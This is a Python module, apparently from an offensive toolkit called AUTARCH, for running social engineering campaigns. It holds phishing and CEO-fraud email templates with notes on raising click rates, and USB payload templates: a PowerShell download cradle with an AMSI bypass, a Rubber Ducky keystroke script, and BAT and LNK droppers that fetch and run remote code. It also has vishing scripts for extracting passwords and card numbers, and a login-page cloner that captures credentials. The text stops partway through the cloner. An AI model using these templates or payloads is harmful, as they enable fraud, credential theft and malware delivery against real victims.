"""AUTARCH Social Engineering Toolkit Credential harvesting page cloner, pretexting templates, QR code phishing, USB drop payloads, vishing scripts, and campaign tracking. """ DESCRIPTION = "Social engineering — phishing, pretexts, QR codes" AUTHOR = "darkHal" VERSION = "1.0" CATEGORY = "offense" import os import re import json import time import uuid import base64 import struct import hashlib import threading from pathlib import Path from datetime import datetime, timezone from typing import Dict, List, Optional, Any from urllib.parse import urljoin, urlparse try: from core.paths import get_data_dir except ImportError: def get_data_dir(): return str(Path(__file__).parent.parent / 'data') try: import requests REQUESTS_AVAILABLE = True except ImportError: requests = None REQUESTS_AVAILABLE = False try: import qrcode import io as _io QRCODE_AVAILABLE = True except ImportError: qrcode = None QRCODE_AVAILABLE = False # ── Pretext Templates ──────────────────────────────────────────────────────── PRETEXT_TEMPLATES = { 'it_support': [ { 'name': 'Password Reset', 'subject': 'Immediate Action Required: Password Reset', 'body': ( 'Dear {target_name},\n\n' 'Our security team has detected unusual activity on your account. ' 'As a precautionary measure, we require all employees to reset their ' 'passwords within the next 24 hours.\n\n' 'Please click the link below to verify your identity and set a new password:\n' '{link}\n\n' 'If you did not request this change, please contact the IT Help Desk immediately ' 'at ext. 4357.\n\n' 'Best regards,\n' 'IT Security Team' ), 'pretext_notes': 'Urgency + authority. Works best when sent from a spoofed IT domain. ' 'Follow up with a phone call referencing the email for higher success rates.', }, { 'name': 'Security Update Required', 'subject': 'Critical Security Patch — Action Required by EOD', 'body': ( 'Hi {target_name},\n\n' 'A critical security vulnerability has been identified that affects your workstation. ' 'IT has prepared an automated patch that must be installed today.\n\n' 'Please run the update tool at the link below:\n' '{link}\n\n' 'Note: You may need to enter your network credentials to authenticate the update.\n\n' 'Thank you for your cooperation,\n' 'IT Infrastructure Team' ), 'pretext_notes': 'Leverages fear of security breach. Pair with a fake update portal.', }, { 'name': 'VPN Reconfiguration', 'subject': 'VPN Client Reconfiguration — New Certificate Required', 'body': ( 'Dear {target_name},\n\n' 'Due to our migration to a new security infrastructure, all VPN certificates ' 'will expire at midnight tonight. To maintain remote access, please download ' 'the new VPN configuration file:\n' '{link}\n\n' 'You will need to authenticate with your current credentials to generate ' 'a new certificate.\n\n' 'Questions? Contact the Network Operations Center at noc@{domain}\n\n' 'Regards,\n' 'Network Security Team' ), 'pretext_notes': 'Effective against remote workers. The VPN config file can be a payload.', }, ], 'hr': [ { 'name': 'Benefits Enrollment', 'subject': 'Open Enrollment Period — Benefits Selection Deadline', 'body': ( 'Dear {target_name},\n\n' 'The annual open enrollment period for employee benefits closes on Friday. ' 'If you have not yet made your selections, please log in to the benefits ' 'portal to review your options:\n' '{link}\n\n' 'Failure to complete enrollment by the deadline will result in default ' 'coverage being applied.\n\n' 'Human Resources Department' ), 'pretext_notes': 'Time pressure on something people care about. High click rates.', }, { 'name': 'Policy Update Acknowledgement', 'subject': 'Updated Company Policy — Acknowledgement Required', 'body': ( 'Dear {target_name},\n\n' 'Our legal department has updated the Employee Handbook and Acceptable Use Policy. ' 'All employees are required to review and acknowledge the changes by {deadline}.\n\n' 'Please read and sign the updated documents here:\n' '{link}\n\n' 'Thank you,\n' 'HR Compliance' ), 'pretext_notes': 'Compliance obligation creates urgency. Rarely questioned.', }, { 'name': 'Employee Survey', 'subject': 'Annual Employee Satisfaction Survey — Your Input Matters', 'body': ( 'Hi {target_name},\n\n' 'We value your feedback! Please take 5 minutes to complete our annual ' 'employee satisfaction survey. Your responses are anonymous and will help ' 'shape company improvements.\n\n' 'Complete the survey here: {link}\n\n' 'Survey closes {deadline}.\n\n' 'Thank you,\n' 'People & Culture Team' ), 'pretext_notes': 'Low suspicion — surveys are common. Good for initial reconnaissance.', }, ], 'vendor': [ { 'name': 'Invoice Payment', 'subject': 'Invoice #{invoice_num} — Payment Due', 'body': ( 'Dear Accounts Payable,\n\n' 'Please find attached Invoice #{invoice_num} for services rendered during ' 'the previous billing period. Payment is due within 30 days.\n\n' 'To view and pay the invoice online:\n' '{link}\n\n' 'If you have questions about this invoice, please contact our billing ' 'department at billing@{vendor_domain}\n\n' 'Best regards,\n' '{vendor_name}\n' 'Accounts Receivable' ), 'pretext_notes': 'Target finance/AP departments. Research real vendor names first.', }, { 'name': 'Service Renewal', 'subject': 'Service Agreement Renewal — Action Required', 'body': ( 'Dear {target_name},\n\n' 'Your {service_name} subscription is due for renewal on {deadline}. ' 'To avoid service interruption, please review and approve the renewal terms:\n' '{link}\n\n' 'Current plan: {plan_name}\n' 'Renewal amount: ${amount}\n\n' 'Best regards,\n' '{vendor_name} Renewals Team' ), 'pretext_notes': 'Service disruption fear. Research the target\'s actual vendors.', }, { 'name': 'Account Verification', 'subject': 'Account Security Verification Required', 'body': ( 'Dear {target_name},\n\n' 'As part of our ongoing security measures, we need to verify your account ' 'information. Please log in and confirm your details:\n' '{link}\n\n' 'If you do not verify within 48 hours, your account may be temporarily suspended.\n\n' 'Thank you,\n' '{vendor_name} Security Team' ), 'pretext_notes': 'Account suspension threat. Clone the vendor login page for harvesting.', }, ], 'delivery': [ { 'name': 'Package Tracking', 'subject': 'Your Package Has Shipped — Tracking #{tracking_num}', 'body': ( 'Your order has been shipped!\n\n' 'Tracking Number: {tracking_num}\n' 'Estimated Delivery: {delivery_date}\n\n' 'Track your package in real-time:\n' '{link}\n\n' 'If you did not place this order, click here to report unauthorized activity:\n' '{link}\n\n' '{carrier_name} Shipping Notifications' ), 'pretext_notes': 'Curiosity + concern about unexpected package. High click rates.', }, { 'name': 'Missed Delivery', 'subject': 'Delivery Attempt Failed — Reschedule Required', 'body': ( 'We attempted to deliver your package today but no one was available to sign.\n\n' 'Tracking: {tracking_num}\n' 'Attempt: {attempt_date}\n\n' 'To reschedule delivery or redirect to a pickup location:\n' '{link}\n\n' 'Your package will be held for 5 business days before being returned.\n\n' '{carrier_name} Delivery Services' ), 'pretext_notes': 'Fear of missing a delivery. Works broadly across all demographics.', }, ], 'executive': [ { 'name': 'CEO Wire Transfer', 'subject': 'Urgent — Wire Transfer Needed Today', 'body': ( 'Hi {target_name},\n\n' 'I need you to process an urgent wire transfer today. I am in meetings ' 'all afternoon and cannot handle this myself.\n\n' 'Amount: ${amount}\n' 'Recipient: {recipient}\n' 'Account details are in the attached document: {link}\n\n' 'Please confirm once completed. This is time-sensitive.\n\n' 'Thanks,\n' '{exec_name}\n' '{exec_title}' ), 'pretext_notes': 'Classic BEC/CEO fraud. Requires OSINT on exec names and targets in finance.', }, { 'name': 'Confidential Acquisition', 'subject': 'Confidential — M&A Due Diligence Documents', 'body': ( '{target_name},\n\n' 'As discussed, I am sharing the preliminary due diligence documents for the ' 'upcoming acquisition. This is strictly confidential — do not forward.\n\n' 'Secure document portal: {link}\n\n' 'Please review before our meeting on {meeting_date}.\n\n' '{exec_name}\n' '{exec_title}' ), 'pretext_notes': 'Flattery (being included in confidential deal) + authority. ' 'Target senior staff who would plausibly be involved.', }, ], 'financial': [ { 'name': 'Wire Transfer Confirmation', 'subject': 'Wire Transfer Confirmation — ${amount}', 'body': ( 'Dear {target_name},\n\n' 'A wire transfer of ${amount} has been initiated from your account.\n\n' 'Transaction ID: {txn_id}\n' 'Date: {txn_date}\n' 'Recipient: {recipient}\n\n' 'If you authorized this transaction, no action is needed.\n' 'If you did NOT authorize this transfer, click below immediately:\n' '{link}\n\n' '{bank_name} Fraud Prevention' ), 'pretext_notes': 'Panic about unauthorized money movement. Very high click rates.', }, { 'name': 'Tax Document', 'subject': 'Your {tax_year} Tax Documents Are Ready', 'body': ( 'Dear {target_name},\n\n' 'Your {tax_year} W-2 / 1099 tax documents are now available for download ' 'through our secure portal:\n' '{link}\n\n' 'Please retrieve your documents before the filing deadline.\n\n' 'Payroll Department\n' '{company_name}' ), 'pretext_notes': 'Seasonal — most effective in January-April. Targets everyone.', }, ], } # ── USB Payload Templates ──────────────────────────────────────────────────── USB_PAYLOAD_TEMPLATES = { 'autorun': { 'name': 'Autorun.inf', 'description': 'Classic autorun — triggers executable on USB insert (legacy systems)', 'template': ( '[autorun]\n' 'open={executable}\n' 'icon={icon}\n' 'action=Open folder to view files\n' 'label={label}\n' 'shell\\open\\command={executable}\n' 'shell\\explore\\command={executable}\n' ), }, 'powershell_cradle': { 'name': 'PowerShell Download Cradle', 'description': 'PS1 script disguised as document — downloads and executes payload', 'template': ( '# Disguise: rename to something enticing like "Salary_Review_2026.pdf.ps1"\n' '$ErrorActionPreference = "SilentlyContinue"\n' '# Disable AMSI for this session\n' '[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").' 'GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)\n' '# Download and execute\n' '$u = "{payload_url}"\n' '$c = (New-Object System.Net.WebClient).DownloadString($u)\n' 'IEX($c)\n' '# Optional: open a decoy document\n' '# Start-Process "https://hr.company.com/benefits"\n' ), }, 'hid_script': { 'name': 'HID Script (Rubber Ducky DuckyScript)', 'description': 'USB HID attack — keystroke injection via Rubber Ducky / BadUSB', 'template': ( 'REM AUTARCH USB HID Payload\n' 'REM Target: Windows\n' 'DELAY 1000\n' 'GUI r\n' 'DELAY 500\n' 'STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n' 'DELAY 100\n' 'ENTER\n' 'DELAY 2000\n' 'REM Payload delivered\n' ), }, 'bat_file': { 'name': 'BAT File Dropper', 'description': 'Batch file disguised as document shortcut — downloads and runs payload', 'template': ( '@echo off\n' 'title Opening Document...\n' 'echo Please wait while the document loads...\n' 'REM Download payload\n' 'powershell -w hidden -ep bypass -c "' '$c=New-Object Net.WebClient;' '$c.DownloadFile(\'{payload_url}\',\'%TEMP%\\svchost.exe\');' 'Start-Process \'%TEMP%\\svchost.exe\'"\n' 'REM Open decoy\n' 'start "" "{decoy_url}"\n' 'exit\n' ), }, 'lnk_dropper': { 'name': 'LNK Shortcut Dropper', 'description': 'Windows shortcut file command — executes hidden PowerShell on click', 'template': ( 'REM Create this LNK with target:\n' 'REM %comspec% /c powershell -w hidden -ep bypass -c "' 'IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n' 'REM Icon: shell32.dll,3 (folder icon) or shell32.dll,1 (document)\n' 'REM Name: Quarterly_Report or Shared_Photos\n' ), }, 'html_smuggling': { 'name': 'HTML Smuggling', 'description': 'HTML file that assembles and drops a payload via JavaScript', 'template': ( '\n' '
If the download does not start automatically, click here.
\n' '\n' '\n' ), }, } # ── Vishing Scripts ────────────────────────────────────────────────────────── VISHING_SCRIPTS = { 'it_helpdesk': { 'name': 'IT Help Desk Call', 'description': 'Impersonate IT support to extract credentials or install remote access', 'opening': ( 'Hello, this is {caller_name} from the IT Help Desk. ' 'We are seeing some unusual activity on your network account and I need ' 'to verify a few things with you to make sure your account is secure.' ), 'key_questions': [ 'Can you confirm your full name and employee ID for verification?', 'What department are you in?', 'Are you currently logged in to your workstation?', 'Have you noticed any unusual behavior — slow performance, unexpected pop-ups?', 'I am going to need to push a security update to your machine. Can you open a browser and go to {url}?', ], 'credential_extraction': ( 'I need to verify your account is not compromised. Can you enter your ' 'username and current password on the verification page I just sent you? ' 'This is a secure IT portal — your credentials are encrypted.' ), 'objection_handling': { 'why_calling': 'Our monitoring system flagged your account. We are reaching out to all affected users proactively.', 'how_verify_you': 'You can call back on the main IT line at {phone} and ask for {caller_name} in Security Operations.', 'not_comfortable': 'I completely understand. Let me have my supervisor {supervisor_name} call you back within 10 minutes.', 'will_call_back': 'Of course. Please call the Help Desk at {phone} before 5 PM today, as we need to resolve this within our response window.', }, 'closing': 'Thank you for your cooperation. I have updated your account status. If you notice anything unusual, call us at {phone}.', }, 'bank_fraud': { 'name': 'Bank Fraud Alert', 'description': 'Impersonate bank fraud department to extract account details', 'opening': ( 'Hello, this is {caller_name} from the {bank_name} Fraud Prevention Department. ' 'We are calling because we have detected a suspicious transaction on your account ' 'and we need to verify some information before we can proceed with blocking it.' ), 'key_questions': [ 'For verification, can you confirm the last four digits of your account number?', 'What is the billing address associated with this account?', 'Did you authorize a transaction of ${amount} to {merchant} on {date}?', 'I need to verify your identity. Can you provide your date of birth?', ], 'credential_extraction': ( 'To block the fraudulent transaction and secure your account, I will need to ' 'verify your full card number and the security code on the back. This is to ' 'confirm you are the authorized account holder.' ), 'objection_handling': { 'why_calling': 'Our automated fraud detection system flagged a ${amount} charge that does not match your normal spending pattern.', 'how_verify_you': 'You can call the number on the back of your card and ask to be transferred to the fraud department.', 'not_comfortable': 'I understand your concern. For your protection, I can place a temporary hold on the card while you verify through the bank app.', 'will_call_back': 'Absolutely. Please call the number on the back of your card within the hour. Reference case number {case_num}.', }, 'closing': 'I have placed a temporary hold on the suspicious transaction. You will receive a confirmation text shortly. Is there anything else I can help with?', }, 'vendor_support': { 'name': 'Vendor Technical Support', 'description': 'Impersonate software vendor support for remote access installation', 'opening': ( 'Hi, this is {caller_name} with {vendor_name} Support. We noticed that your ' 'organization\'s {product_name} license is showing some configuration errors ' 'that could lead to data loss. I\'d like to help resolve this quickly.' ), 'key_questions': [ 'Who is the primary administrator for your {product_name} installation?', 'What version are you currently running?', 'Are you able to access the admin console right now?', 'I may need to connect remotely to diagnose the issue. Do you have remote access software available?', ], 'credential_extraction': ( 'To apply the fix, I will need your admin credentials for {product_name}. ' 'Alternatively, you can grant me temporary admin access through the portal at {url}.' ), 'objection_handling': { 'why_calling': 'Our monitoring detected your instance is running a configuration that was flagged in security bulletin {bulletin_id}.', 'how_verify_you': 'You can verify this call by contacting {vendor_name} support at {phone} and referencing ticket {ticket_id}.', 'not_comfortable': 'No problem. I can send you detailed instructions via email and you can perform the fix yourself.', 'will_call_back': 'Sure. The support ticket is {ticket_id}. Please call us back within 24 hours before the issue escalates.', }, 'closing': 'The configuration has been updated. You should see the fix reflected within the next hour. If any issues arise, reference ticket {ticket_id}.', }, 'ceo_urgent': { 'name': 'CEO Urgent Request', 'description': 'Impersonate executive for urgent financial action', 'opening': ( 'Hi {target_name}, this is {exec_name}. I know this is short notice, ' 'but I need your help with something urgent and confidential. I am tied up ' 'in a board meeting and cannot handle this myself right now.' ), 'key_questions': [ 'Are you at your desk right now?', 'Can you access the accounts payable system?', 'Have you processed international wire transfers before?', ], 'credential_extraction': ( 'I need you to process a wire transfer for a time-sensitive acquisition. ' 'The details are in a secure document I will email you. Please use your ' 'credentials to authorize the transfer immediately.' ), 'objection_handling': { 'why_calling': 'This is related to a confidential acquisition. I cannot discuss details over email for legal reasons.', 'need_approval': 'I\'ve already approved this with the CFO. You can verify with {cfo_name} after the transfer — but we need to move now.', 'not_comfortable': 'I understand, but this cannot wait. I\'ll take full responsibility. Just process it and I\'ll sign the authorization form when I\'m out of this meeting.', 'unusual_request': 'I know this is irregular. That\'s why I\'m calling you personally instead of sending an email.', }, 'closing': 'Thank you for handling this so quickly. I really appreciate it. I will follow up with the paperwork once I am out of this meeting.', }, } # ── Social Engineering Toolkit Class ───────────────────────────────────────── class SocialEngToolkit: """Social engineering toolkit — page cloning, pretexts, QR codes, USB payloads.""" def __init__(self): self._data_dir = Path(get_data_dir()) / 'social_eng' self._pages_dir = self._data_dir / 'pages' self._captures_path = self._data_dir / 'captures.json' self._campaigns_path = self._data_dir / 'campaigns.json' self._qr_dir = self._data_dir / 'qr' # Ensure directories self._pages_dir.mkdir(parents=True, exist_ok=True) self._qr_dir.mkdir(parents=True, exist_ok=True) # Load persistent state self._captures = self._load_json(self._captures_path, []) self._campaigns = self._load_json(self._campaigns_path, []) # ── Persistence helpers ────────────────────────────────────────────────── @staticmethod def _load_json(path: Path, default=None): try: if path.exists(): with open(path, 'r', encoding='utf-8') as f: return json.load(f) except (json.JSONDecodeError, OSError): pass return default if default is not None else {} def _save_captures(self): with open(self._captures_path, 'w', encoding='utf-8') as f: json.dump(self._captures, f, indent=2, default=str) def _save_campaigns(self): with open(self._campaigns_path, 'w', encoding='utf-8') as f: json.dump(self._campaigns, f, indent=2, default=str) # ── Page Cloning ───────────────────────────────────────────────────────── def clone_page(self, url: str, output_dir: str = None) -> Dict[str, Any]: """Fetch a login page, rewrite form actions to AUTARCH capture endpoint. Returns dict with ok, page_id, path, and file details. """ if not REQUESTS_AVAILABLE: return {'ok': False, 'error': 'requests library not installed'} try: parsed = urlparse(url) if not parsed.scheme: url = 'https://' + url parsed = urlparse(url) resp = requests.get(url, timeout=15, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' 'AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/120.0.0.0 Safari/537.36' }, verify=False) resp.raise_for_status() page_id = hashlib.md5(url.encode()).hexdigest()[:12] page_dir = Path(output_dir) if output_dir else self._pages_dir / page_id page_dir.mkdir(parents=True, exist_ok=True) html = resp.text base_url = f"{parsed.scheme}://{parsed.netloc}" # Rewrite relative URLs for resources html = re.sub( r'(src|href)=(["\'])(?!/|https?://)', lambda m: f'{m.group(1)}={m.group(2)}{base_url}/', html ) # Rewrite form actions to point to AUTARCH capture endpoint html = re.sub( r'